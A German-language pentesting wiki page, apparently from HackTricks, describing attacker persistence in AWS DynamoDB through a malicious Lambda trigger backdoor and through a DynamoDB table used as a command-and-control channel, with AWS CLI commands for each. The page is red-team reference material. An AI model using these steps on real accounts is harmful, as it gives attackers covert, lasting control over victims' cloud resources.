# AWS - DynamoDB Persistenz {{#include ../../../banners/hacktricks-training.md}} ### DynamoDB Für weitere Informationen zugreifen: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} ### DynamoDB-Trigger mit Lambda-Hintertür Durch die Verwendung von DynamoDB-Triggern kann ein Angreifer eine **heimliche Hintertür** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Element hinzugefügt, geändert oder gelöscht wird, wodurch der Angreifer beliebigen Code innerhalb des AWS-Kontos ausführen kann. ```bash # Create a malicious Lambda function aws lambda create-function \ --function-name MaliciousFunction \ --runtime nodejs14.x \ --role \ --handler index.handler \ --zip-file fileb://malicious_function.zip \ --region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ --table-name TargetTable \ --region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ --function-name MaliciousFunction \ --event-source \ --region ``` Um die Persistenz aufrechtzuerhalten, kann der Angreifer Elemente in der DynamoDB-Tabelle erstellen oder ändern, was die bösartige Lambda-Funktion auslöst. Dies ermöglicht es dem Angreifer, Code innerhalb des AWS-Kontos auszuführen, ohne direkt mit der Lambda-Funktion zu interagieren. ### DynamoDB als C2-Kanal Ein Angreifer kann eine DynamoDB-Tabelle als **Command and Control (C2) Kanal** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ --table-name C2Table \ --attribute-definitions AttributeName=CommandId,AttributeType=S \ --key-schema AttributeName=CommandId,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --region # Insert a command into the table aws dynamodb put-item \ --table-name C2Table \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` Die kompromittierten Instanzen oder Lambda-Funktionen können regelmäßig die C2-Tabelle auf neue Befehle überprüfen, diese ausführen und optional die Ergebnisse zurück in die Tabelle melden. Dies ermöglicht es dem Angreifer, Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechtzuerhalten. {{#include ../../../banners/hacktricks-training.md}}